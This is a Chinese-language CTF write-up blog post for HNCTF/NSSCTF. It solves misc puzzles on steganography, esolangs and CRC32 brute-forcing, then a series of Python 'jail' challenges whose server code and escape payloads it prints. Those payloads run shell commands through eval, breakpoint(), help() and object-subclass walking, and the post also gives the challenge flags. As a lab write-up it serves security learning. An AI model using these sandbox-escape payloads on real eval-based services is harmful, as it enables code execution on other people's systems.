HNCTF
本文最后更新于 159 天前,其中的信息可能已经有所发展或是发生改变。

Misc

UP&DOWN_Aussie

题目描述

由于Aussie的一些申必bug 编码数据的长度为73,得出的数据第二位需要大写 第23位大写 第30位大写 第31位保密 第45位大写 第47位大写

题解

  • Github搜索代码,找到仓库
    • https://github.com/zackradisic/aussieplusplus/
  • challenge.aussie

¡***Ɔ SɹƎƎHƆ

;()uᴉɐɯ

<
;ǝɯ_puᴉɟ_uɐɔ_noʎ ƎWWIפ	
;„¿¿¿¿ʇᴉ puᴉɟ n uɐɔ„ ƎWWIפ	
;„pǝʇɐɹǝuǝƃ ǝq sᴉ ƃɐlɟ ǝɥ┴„ ƎWWIפ	
„ɔzoƃD9ƐzD∀ʍㄥ˥MJz8⅄ƖɥDq┴ǝ8ǝɾqzsℲƆƐ9p88Ɩ9ɔᴉ⅄ʞԀoSɟDZɐϛᴉɟduƃƐԀɹS8Z6„ = ƃɐlɟ_sᄅdɯʇ_ǝʞɐɟ NOʞƆƎɹ I//    
„dƆbɾZℲʌdnƆDDdSԀƆᴉQℲouɾ99ΛJɐ6ɹℲㄣHzϛp88Ɩ9ɔᴉ⅄ʞԀoSɟDZɐϛᴉɟduƃƐԀɹS8Z6„ = ƃɐlɟ_Ɛᄅdɯʇ_ǝʞɐɟ NOʞƆƎɹ I//    
;sᴉu + sᴉɯ + ɯᴉs = ǝɯ_puᴉɟ_uɐɔ_noʎ    
„ɔzoƃD9ƐzD∀ʍㄥ˥MJz8⅄ƖɥDq┴ǝ8ǝɾqzsℲƆƐ9p88Ɩ9ɔᴉ⅄ʞԀoSɟDZɐϛᴉɟduƃƐԀɹS8Z6„ = ƃɐɐsxlɟ_sᄅdɯʇ_ǝʞɐɐsxɟ NOʞƆƎɹ I//    
„dƆbɾZℲʌdnƆDDdSԀƆᴉQℲouɾ99ΛJɐ6ɹℲㄣHzϛp88Ɩ9ɔᴉ⅄ʞԀoSɟDZɐϛᴉɟduƃƐԀɹS8Z6„ = ƃɐlxɟ_Ɛᄅdɯʇ_ǝʞɐsxɐɟ NOʞƆƎɹ I//    
;„..........ƃuᴉʇᴉɐM„ ƎWWIפ//    
;„..........ƃuᴉʇᴉɐM„ ƎWWIפ//    
„ɔzoƃD9ƐzD∀ʍㄥ˥MJz8⅄ƖɥDq┴ǝ8ǝɾqzsℲƆƐ9p88Ɩ9ɔᴉ⅄ʞԀoSɟDZɐϛᴉɟduƃƐԀɹS8Z6„ = ƃɐlɟ_sᄅdɯʇ_ǝʞxɐsxɐɟ NOʞƆƎɹ I//    
„dƆbɾZℲʌdnƆDDdSԀƆᴉQℲouɾ99ΛJɐ6ɹℲㄣHzϛp88Ɩ9ɔᴉ⅄ʞԀoSɟDZɐϛᴉɟduƃƐԀɹS8Z6„ = ƃɐlɟ_Ɛᄅdɯsxɐsxʇ_ǝʞɐɐsxɟ NOʞƆƎɹ I//    
;ǝɯ_puᴉɟ_uɐɔ_noʎ NOʞƆƎɹ I    
„dƆbɾZℲʌdnƆDDdSԀƆᴉQℲouɾ99ΛJɐ6ɹℲㄣHzϛp88Ɩ9ɔᴉ⅄ʞԀoSɟDZɐϛᴉɟduƃƐԀɹS8Z6„ = ƃxɐsxɐlɟ_Ɛᄅɐsxdɯʇ_ǝʞxɐsxɐɟ NOʞƆƎɹ I//    
„ɔzoƃD9ƐzD∀ʍㄥ˥MJz8⅄ƖɥDq┴ǝ8ǝɾqzsℲƆƐ9p88Ɩ9ɔᴉ⅄ʞԀoSɟDZɐϛᴉɟduƃƐԀɹS8Z6„ = ƃɐlxɐxɟ_sɐsxᄅdɯʇ_xǝɐsxʞɐɟ NOʞƆƎɹ I//    
„ɔzoƃD9ƐzD∀ʍㄥ˥MJz8⅄ƖɥDq┴ǝ8ǝɾqzsℲƆƐ9p88Ɩ9ɔᴉ⅄ʞԀoSɟDZɐϛᴉɟduƃƐԀɹS8Z6„ = ƃɐɐsxlɟ_sᄅdɯʇ_ǝɐsxʞɐɟ NOʞƆƎɹ I//    
„dƆbɾZℲʌdnƆDDdSԀƆᴉQℲouɾ99ΛJɐ6ɹℲㄣHzϛp88Ɩ9ɔᴉ⅄ʞԀoSɟDZɐϛᴉɟduƃƐԀɹS8Z6„ = ƃɐlxɐssxɟ_Ɛᄅdxɐsxɯʇ_ǝɐsxʞɐɟ NOʞƆƎɹ I//    
„dƆbɾZℲʌdnƆDDdSԀƆᴉQℲouɾ99ΛJɐ6ɹℲㄣHzϛp88Ɩ9ɔᴉ⅄ʞԀoSɟDZɐϛᴉɟduƃƐԀɹS8Z6„ = ƃɐxɐsxlɟ_Ɛᄅdɯʇɐsx_ǝɐsxsxʞɐɟ NOʞƆƎɹ I//    
;„..........ƃuᴉʇᴉɐM„ ƎWWIפ//    
;„..........ƃuᴉʇᴉɐM„ ƎWWIפ//    
;„..........ƃuᴉʇᴉɐM„ ƎWWIפ//    
;„פƎƎd8xϛƃdǝHƎƐƎʞʇɥ┴ƐƐ˥Ɩ„ = sᴉu NOʞƆƎɹ I    
<	
;SIH┴ ʞƆ∩Ⅎ Ǝ┴∀W ¿ 0 == (0ᄅ '0)ǝɔᴉDǝɯoSʞɔnɥƆ NOʞƆƎɹ ∀⅄		
„ɔzoƃD9ƐzD∀ʍㄥ˥MJz8⅄ƖɥDq┴ǝ8ǝɾqzsℲƆƐ9p88Ɩ9ɔᴉ⅄ʞԀoSɟDZɐϛᴉɟduƃƐԀɹS8Z6„ = ƃɐsxɐlɟ_sᄅdɯʇ_ǝʞsɐxɐɟ NOʞƆƎɹ I//        
„dƆbɾZℲʌdnƆDDdSԀƆᴉQℲouɾ99ΛJɐ6ɹℲㄣHzϛp88Ɩ9ɔᴉ⅄ʞԀoSɟDZɐϛᴉɟduƃƐԀɹS8Z6„ = ɐsxƃɐlɟ_Ɛᄅɐsxsɐdɯʇ_ǝʞɐsxɐɟ NOʞƆƎɹ I//        
„dƆbɾZℲʌdnƆDDdSԀƆᴉQℲouɾ99ΛJɐ6ɹℲㄣHzϛp88Ɩ9ɔᴉ⅄ʞԀoSɟDZɐϛᴉɟduƃƐԀɹS8Z6„ = ƃɐɐsxlɟ_Ɛᄅɐsxsɐdɯʇ_ǝʞxɐsxɐɟ NOʞƆƎɹ I//        
;„..........ƃuᴉʇᴉɐM„ ƎWWIפ//        
;„..........ƃuᴉʇᴉɐM„ ƎWWIפ//        
;„..........ƃuᴉʇᴉɐM„ ƎWWIפ//        
„ɔzoƃD9ƐzD∀ʍㄥ˥MJz8⅄ƖɥDq┴ǝ8ǝɾqzsℲƆƐ9p88Ɩ9ɔᴉ⅄ʞԀoSɟDZɐϛᴉɟduƃƐԀɹS8Z6„ = ƃɐxlɟ_sɐsxᄅdɯɐsxʇ_ǝʞɐsxɐɟ NOʞƆƎɹ I//        
„ɔzoƃD9ƐzD∀ʍㄥ˥MJz8⅄ƖɥDq┴ǝ8ǝɾqzsℲƆƐ9p88Ɩ9ɔᴉ⅄ʞԀoSɟDZɐϛᴉɟduƃƐԀɹS8Z6„ = ƃɐɐsxlɟ_sᄅdssɐxbʍɯʇ_ǝʞɐʍbxɟ NOʞƆƎɹ I//        
;„..........ƃuᴉʇᴉɐM„ ƎWWIפ//        
;„..........ƃuᴉʇᴉɐM„ ƎWWIפ//        
;(000Ɩ)ʞɔɐSǝɥ┴ʇᴉH		
∀H∀H∀H∀H∀H∀H∀H∀H∀H∀H∀H∀H∀H∀H = ʍxʍxbʍsɐ NOʞƆƎɹ I//        
;„..........ƃuᴉʇᴉɐM„ ƎWWIפ//        
„ɔzoƃD9ƐzD∀ʍㄥ˥MJz8⅄ƖɥDq┴ǝ8ǝɾqzsℲƆƐ9p88Ɩ9ɔᴉ⅄ʞԀoSɟDZɐϛᴉɟduƃƐԀɹS8Z6„ = ʍxʍxbʍsɐ NOʞƆƎɹ I//        
;„..........ƃuᴉʇᴉɐM„ ƎWWIפ//        
„dƆbɾZℲʌdnƆDDdSԀƆᴉQℲouɾ99ΛJɐ6ɹℲㄣHzϛp88Ɩ9ɔᴉ⅄ʞԀoSɟDZɐϛᴉɟduƃƐԀɹS8Z6„ = ƃɐlɐsxɟ_Ɛᄅɐsxsɐdɯʇ_ǝʞɐɐsxɟ NOʞƆƎɹ I//		
;„.......ƃuᴉʇᴉɐM„ ƎWWIפ    	
> (¡H∀N 'H∀Ǝ⅄) ˥I┴N∩ ┴∩Oq∀ʞ˥∀M ∀ ƎΛ∀H ˥˥,I NOʞƆƎɹ I	
;„Ɛㄣʌ┴ʞʎqZsʇƎMnƎɹ6ɥㄥ┴ɟDʞƖƖɐ„ = sᴉɯ NOʞƆƎɹ I    
„dƆbɾZℲʌdnƆDDdSԀƆᴉQℲouɾ99ΛJɐ6ɹℲㄣHzϛp88Ɩ9ɔᴉ⅄ʞԀoSɟDZɐϛᴉɟduƃƐԀɹS8Z6„ = ƃɐlɟ_Ɛᄅɐsxsɐdɯʇ_ǝʞɐɟ NOʞƆƎɹ I//    
;„..........ƃuᴉʇᴉɐM„ ƎWWIפ//    
;„..........ƃuᴉʇᴉɐM„ ƎWWIפ//    
;„⅄ʞMʞɐㄣƃu˥ϛʌԀqWʍɾɐzHᴉƖoㄣzɹᄅ„ = ɯᴉs NOʞƆƎɹ I    
„dƆbɾZℲʌdnƆDDdSԀƆᴉQℲouɾ99ΛJɐ6ɹℲㄣHzϛp88Ɩ9ɔᴉ⅄ʞԀoSɟDZɐϛᴉɟduƃƐԀɹS8Z6„ = ƃɐlɟ_Ɛᄅɐsxsɐdɯʇ_ǝʞɐɟ NOʞƆƎɹ I//    
;„..........ƃuᴉʇᴉɐM„ ƎWWIפ//    
„dƆbɾZℲʌdnƆDDdSԀƆᴉQℲouɾ99ΛJɐ6ɹℲㄣHzϛp88Ɩ9ɔᴉ⅄ʞԀoSɟDZɐϛᴉɟduƃƐԀɹS8Z6„ = ƃɐlɟ_Ɛɐsxᄅdɯʇ_ǝʞɐɟ NOʞƆƎɹ I//    
;„ollǝH„ ƎWWIפ//    
„dƆbɾZℲʌdnƆDDdSԀƆᴉQℲouɾ99ΛJɐ6ɹℲㄣHzϛp88Ɩ9ɔᴉ⅄ʞԀoSɟDZɐϛᴉɟduƃƐԀɹS8Z6„ = ƃɐlɟ_ƐƖdɯʇ_ǝʞɐɟ NOʞƆƎɹ I//    
;„ollǝH„ ƎWWIפ//    
„dƆbɾZℲʌdnƆDDdSԀƆᴉQℲouɾ99ΛJɐ6ɹℲㄣHzϛp88Ɩ9ɔᴉ⅄ʞԀoSɟDZɐϛᴉɟduƃƐԀɹS8Z6„ = ƃɐlɟ_Ɛᄅdɯʇ_ǝʞɐɟ NOʞƆƎɹ I//    
;„ollǝH„ ƎWWIפ//    
;„..........ƃuᴉʇᴉɐM„ ƎWWIפ//    
;„¡ǝƃuǝllɐɥɔ lnɟɹǝpuoʍ sᴉɥʇ ʎɐld s,ʇǝ˥ ʍ0M„ ƎWWIפ	
> () SI uᴉɐɯ ɹOℲ ∀ʞʞ∀⅄ Dɹ∀H ƎH┴

;ǝɔᴉDǝɯoSʞɔnɥƆ ƆN∩Ⅎ ƎW ┴HOԀWI
;ʞɔɐSǝɥ┴ʇᴉH ƆN∩Ⅎ ƎW ┴HOԀWI

¡Ǝ┴∀W ⅄∀D,פ
  • 一段代码,在项目的在线网站里运行
    • https://aussieplusplus.vercel.app/
  • 运行后无结果,阅读代码内容
  • 得知最后有用的信息在you_can_find_me内,仿照上面的语句让他输出这个变量
;ǝɯ_puᴉɟ_uɐɔ_noʎ ƎWWIפ	
  • 粘贴运行的最后一句(最上面,得到内容
    • 2rz4o1iHzajwMbPv5Lng4akWkYa11kDfT7h9rEuWEtsZbykTv431L33ThtkE3EHepg5x8pEEG
    • 出题人说有 bug,按照题目描述修改一下
    • 2Rz4o1iHzajwMbPv5Lng4aKWkYa11KDfT7h9rEuWEtsZByKTv431L33ThtkE3EHepg5x8pEEG
  • CyberChefbase58
    • NSSCTF{c0oL_u_f1NiSH_tHe_upsidedown_@nD_SeE_tHe_f1@g}

pdf && png

题解

  • pdf 打开,只有一条虚线,尝试分离 png数据流,binwalk
  • RGB数据,写脚本转换一下
from PIL import Image
x = 562
y = 100
im = Image.new('RGB', (x, y))
f = open('1.txt').read()
s = f.split(' ')
count = 0
length = 1
a = ()
for i in range(y):
    for j in range(x):
        tmp = (int(s[count],16), int(s[count+1],16), int(s[count+2],16))
        im.putpixel((j, i), tmp)
        if(a == tmp):
            length += 1
        else:
            if(length > 1):
                print(chr(length),end="")
            length = 1
        a = (int(s[count],16), int(s[count+1],16), int(s[count+2],16))
        
        count += 3
        if(count == 6369):
            im.save('flag.png')  #  可以不用生成图片
            exit()
  • 得到一串有意义的字符串
    • d1d_u_f1nd_Th1s_KEy_F1l3
  • wbs43open 解密
    • NSSCTF{u_can_use_wbstego_and_find_flag}

看不见的代码

题解

  • 下载文件,其中只包含:空格,tab,\n

…tt..tt.
t
…..tt.tt..
t
…..tt….t
t
…..tt..ttt
t
…..tttt.tt
t
…..tttt..t
t
…..tt.tttt
t
…..ttt.t.t
t
…..t.ttttt
t
…..tt…tt
t
…..tt….t
t
…..tt.ttt.
t
…..ttt.t..
t
…..t.ttttt
t
…..ttt..tt
t
…..tt..t.t
t
…..tt..t.t
t
…..ttttt.t
t
..

  • 一种esolangs,找到在线运行的网站
    • http://esolangs.org/wiki/Main_Page
    • https://vii5ard.github.io/whitespace/

flag{you_cant_see}

NSSCTF 天书

题解

  • 下载文件后压缩包内包含大量文件,字节数为 2,3,4,文件内容为 rar 二进制文件
  • 通过CRC32爆破字节,提取文件名,转化为阿拉伯数字,按顺序写入
  • exp
import zipfile
import binascii

dic = [_ for _ in range(0, 256)]

def three(_crc):
    for y in dic:
        for j in dic:
            for n in dic:
                s = bytes([y, j, n])
                if _crc == binascii.crc32(s):
                    return s

def two(_crc):
    for y in dic:
        for j in dic:
            s = bytes([y, j])
            if _crc == binascii.crc32(s):
                return s

def four(_crc):
    return b'Rar!'

def ch_num(_num: str):
    c_num = {'一': 1, '二': 2, '三': 3, '四': 4, '五': 5, '六': 6, '七': 7, '八': 8, '九': 9}
    _num = str(_num)
    _num = _num.replace('零', '').replace(' ', '').replace('第', '')
    g = c_num[_num[-2]] if _num[-2] in c_num.keys() else 0
    if _num.startswith('十'):
        ten = 10
    else:
        ten = c_num[_num[_num.find('十') - 1]] * 10 if _num.find('十') != -1 else 0
    hundred = c_num[_num[_num.find('百') - 1]] * 100 if _num.find('百') != -1 and _num.find('百') else 0
    thousand = c_num[_num[_num.find('千') - 1]] * 1000 if _num.find('千') != -1 and _num.find('千') else 0
    return g + ten + hundred + thousand

with zipfile.ZipFile('test.zip', 'r') as zfile:
    files = zfile.infolist()
test_file = files[0]
a = '第零一二三四五六七八九十百千章册节卷本页话集回部'
c = {}
_ = 0
for i in a:
    c[test_file.filename[2 * _:2 * (_+1)]] = i  # 通过对应文字获取汉字
    _ += 1
with zipfile.ZipFile('flag.zip', 'r') as zfile:
    files = zfile.infolist()
_all = {}
_all2 = []
for i in files[1:]:
    name = i.filename.replace('flag/', '').replace('.txt', '')
    for _ in c.keys():
        name = name.replace(_, c[_])
    num = ch_num(name)
    _all2.append(num)
    _all.update({str(num): {'name': name, 'crc': i.CRC, 'size': i.file_size}})
for ea in sorted(_all2):
    crc = _all[str(ea)]['crc']
    _name = _all[str(ea)]['name']
    size = _all[str(ea)]['size']
    if size == 2:
        text = two(crc)
    elif size == 3:
        text = three(crc)
    else:
        text = four(crc)
    try:
        with open(f'test.rar', 'ab') as ab:
            ab.write(text)
    except Exception as e:
        print(e, _name, size, crc)
    print(ea)
  • flag
    • nssctf{R@R?!1et@s_s33_tho5e_p1ctur3s}

NSSCTF Bronya

题解

  • 下载文件,注释得到部分密码:2018****,爆破得到两个图片,盲水印
    • https://github.com/chishaxie/BlindWaterMark
    • python bwmforpy3.py decode bronya.png flag.png test.png
    • nssctf{Th3_P10t_S0_sweet}

NSSCTF guessnumber(ACM)

题解

  • 题目是一个猜数游戏,每次游戏都是一个4位数,每次猜测之后会给出每一位偏大或偏小的信息
  • 只考虑猜测一次之后剩余可能的数最多有多少,选择最少的情况进行猜测。实现上可以维护一个当前可能的答案集合,每次猜测前先遍历集合,找到按上述策略最优的猜测选项,进行猜测并利用给出的信息更新答案集合,直到答案集合只有一个元素,就是正确答案

NSSCTF jail level 0

题解

  • server.py
WELCOME = '''
  _     ______      _                              _       _ _ 
 | |   |  ____|    (_)                            | |     (_) |
 | |__ | |__   __ _ _ _ __  _ __   ___ _ __       | | __ _ _| |
 | '_ \|  __| / _` | | '_ \| '_ \ / _ \ '__|  _   | |/ _` | | |
 | |_) | |___| (_| | | | | | | | |  __/ |    | |__| | (_| | | |
 |_.__/|______\__, |_|_| |_|_| |_|\___|_|     \____/ \__,_|_|_|
               __/ |                                           
              |___/                                            
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
print('Answer: {}'.format(eval(input_data)))
  • payload
__import__('os').system('cat flag')
open('flag').read()

NSSCTF jail level 1

题解

  • server.py
def filter(s):
    not_allowed = set('"\'`ib')
    return any(c in not_allowed for c in s)

WELCOME = '''
  _                _                           _       _ _   _                _ __ 
 | |              (_)                         (_)     (_) | | |              | /_ |
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| || |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ || |
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ || |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_||_|
              __/ |                          _/ |                                  
             |___/                          |__/                                                                                      
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if filter(input_data):
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))
  • exp
a = "__import__('os').system('cat flag')"
exp = ""
for i in a:
    exp += f"chr({ord(i)})+"
print(f"eval({exp[:-1]})")
  • payload
eval(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(39)+chr(111)+chr(115)+chr(39)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(99)+chr(97)+chr(116)+chr(32)+chr(102)+chr(108)+chr(97)+chr(103)+chr(39)+chr(41))

NSSCTF jail level 2

题解

  • server.py
WELCOME = '''
  _                _                           _       _ _   _                _ ___  
 | |              (_)                         (_)     (_) | | |              | |__ \ 
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| |  ) |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ | / / 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |/ /_ 
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|____|
              __/ |                          _/ |                                    
             |___/                          |__/                                                                            
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>13:
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))
  • payload
eval(input())
__import__("os").system("cat flag")

NSSCTF jail level 2.5

题解

  • server.py
#the length is be limited less than 13
#it seems banned some payload 
#banned some unintend sol
#Can u escape it?Good luck!

def filter(s):
    BLACKLIST = ["exec","input","eval"]
    for i in BLACKLIST:
        if i in s:
            print(f'{i!r} has been banned for security reasons')
            exit(0)

WELCOME = '''
  _                _                           _       _ _ _                _ ___    _____ 
 | |              (_)                         (_)     (_) | |              | |__ \  | ____|
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | _____   _____| |  ) | | |__  
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | |/ _ \ \ / / _ \ | / /  |___ \ 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | |  __/\ V /  __/ |/ /_ _ ___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_|_|\___| \_/ \___|_|____(_)____/ 
              __/ |                          _/ |                                          
             |___/                          |__/                                                                                                            
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
filter(input_data)
if len(input_data)>13:
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))
  • payload
breakpoint()
__import__('os').system('cat flag')

NSSCTF jail level 3

题解

  • server.py
WELCOME = '''
  _                _                           _       _ _   _                _ ____  
 | |              (_)                         (_)     (_) | | |              | |___ \ 
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | __) |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ ||__ < 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|____/ 
              __/ |                          _/ |                                     
             |___/                          |__/                                                                                       
'''

print(WELCOME)
#the length is be limited less than 7
#it seems banned some payload 
#Can u escape it?Good luck!
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>7:
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))
  • payload
help()
+
!/bin/sh flag

NSSCTF jail level 4

题解

  • server.py
#No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr']
eval_func = eval
for m in BANLIST:
    del __builtins__.__dict__[m]
del __loader__, __builtins__
def filter(s):
    not_allowed = set('"\'`')
    print(not_allowed)
    return any(c in not_allowed for c in s)
WELCOME = '''
  _                _                           _       _ _   _                _ _  _   
 | |              (_)                         (_)     (_) | | |              | | || |  
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | || |_ 
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _|
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |  | |  
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|  |_|  
              __/ |                          _/ |                                      
             |___/                          |__/                                                                                                                                             
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
while True:
    try:
        input_data = input("> ")
        if filter(input_data):
            print("Oh hacker!")
        print('Answer: {}'.format(eval_func(input_data)))
    except Exception as e:
        print(e)
  • payload
open(bytes([46, 47, 102, 108, 97, 103]).decode()).read() #  ./flag

NSSCTF jail level4.0.5

题解

  • server.py
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr', 'input','locals','globals']

my_eval_func_0002321 = eval
my_input_func_2309121 = input

for m in BANLIST:
    del __builtins__.__dict__[m]

del __loader__, __builtins__

def filter(s):
    not_allowed = set('"\'`')
    return any(c in not_allowed for c in s)

WELCOME = '''
  _                _                           _       _ _   _                _ _  _    ___   _____
 | |              (_)                         (_)     (_) | | |              | | || |  / _ \ | ____|
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | || |_| | | || |__
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _| | | ||___ \
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |  | |_| |_| | ___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|  |_(_)\___(_)____/
              __/ |                          _/ |
             |___/                          |__/                                                                        
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals and `,\",' Good luck!")
input_data = my_input_func_2309121("> ")
if filter(input_data):
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(my_eval_func_0002321(input_data)))
  • payload
open(bytes([46, 47, 102, 108, 97, 103]).decode()).read()

NSSCTF jail level 4.1

题解

  • server.py
Answer: #No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr','input','locals','globals','bytes']
my_eval_func_ABDC8732 = eval
my_input_func_001EC9GP = input
for m in BANLIST:
    del __builtins__.__dict__[m]
del __loader__, __builtins__
def filter(s):
    not_allowed = set('"\'`')
    return any(c in not_allowed for c in s)
WELCOME = '''
  _                _                           _       _ _   _                _ _  _  __
 | |              (_)                         (_)     (_) | | |              | | || |/_ |
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | || |_| |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _| |
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |  | |_| |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|  |_(_)_|
              __/ |                          _/ |
             |___/                          |__/                                                                        
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and `,\",' Good luck!")
input_data = my_input_func_001EC9GP("> ")
if filter(input_data):
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(my_eval_func_ABDC8732(input_data)))
  • payload
my_eval_func_ABDC8732(my_input_func_001EC9GP())
().__class__.__base__.__subclasses__()[137].__init__.__globals__['system']("sh")
cat f*

NSSCTF jail level 4.3

题解

  • server.py
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr','input','locals','globals','bytes','type','open']

my_eval_func_002EFCDB = eval
my_input_func_000FDCAB = input

for m in BANLIST:
    del __builtins__.__dict__[m]

del __loader__, __builtins__

def filter(s):
    not_allowed = set('"\'`+')
    return any(c in not_allowed for c in s)

def main():
    WELCOME = '''
  _                _                           _       _ _   _                _ _  _   ____
 | |              (_)                         (_)     (_) | | |              | | || | |___ \
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | || |_  __) |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _||__ <
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |  | |_ ___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|  |_(_)____/
              __/ |                          _/ |
             |___/                          |__/

    '''

    print(WELCOME)

    print("Welcome to the python jail")
    print("Let's have an beginner jail of calc")
    print("Enter your expression and I will evaluate it for you.")
    print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes,open,type and `,\",',+ Good luck!")
    input_data = my_input_func_000FDCAB("> ")
    if filter(input_data):
        print("Oh hacker!")
        exit(0)
    print('Answer: {}'.format(my_eval_func_002EFCDB(input_data)))

if __name__ == '__main__':
    main()
  • payload
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[[i for i in ().__class__.__base__.__subclasses__()[-4].__init__.__globals__].pop(47)](().__class__.__base__.__subclasses__()[6]([99, 97, 116, 32, 42]).decode())

NSSCTF jail level 5

题解

  • server.py
#It's an challenge for jaillevel5 let's read your flag!
import load_flag
flag = load_flag.get_flag()
def main():
    WELCOME = '''
  _                _                           _       _ _ _                _ _____
 | |              (_)                         (_)     (_) | |              | | ____|
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | _____   _____| | |__
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | |/ _ \ \ / / _ \ |___ \
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | |  __/\ V /  __/ |___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_|_|\___| \_/ \___|_|____/
              __/ |                          _/ |
             |___/                          |__/                                                                        
'''
    print(WELCOME)
    print("It's so easy challenge!")
    print("Seems flag into the dir()")
    repl()
def repl():
    my_global_dict = dict()
    my_global_dict['my_flag'] = flag
    input_code = input("> ")
    complie_code = compile(input_code, '<string>', 'single')
    exec(complie_code, my_global_dict)
if __name__ == '__main__':
    main()
  • load_flag.py
class secert_flag(str):
    def __repr__(self) -> str:
        return "DELETED"
    def __str__(self) -> str:
        return "DELETED"
class flag_level5:
    def __init__(self, flag: str):
        setattr(self, 'flag_level5', secert_flag(flag))
def get_flag():
    with open('flag') as f:
        return flag_level5(f.read())
  • payload
''.join(my_flag.flag_level5)
NSSCTF{3b707fa6-65d4-4cd3-8b5b-5bfa6b63bc2a}
breakpoint()
__import__('os').system('cat *')
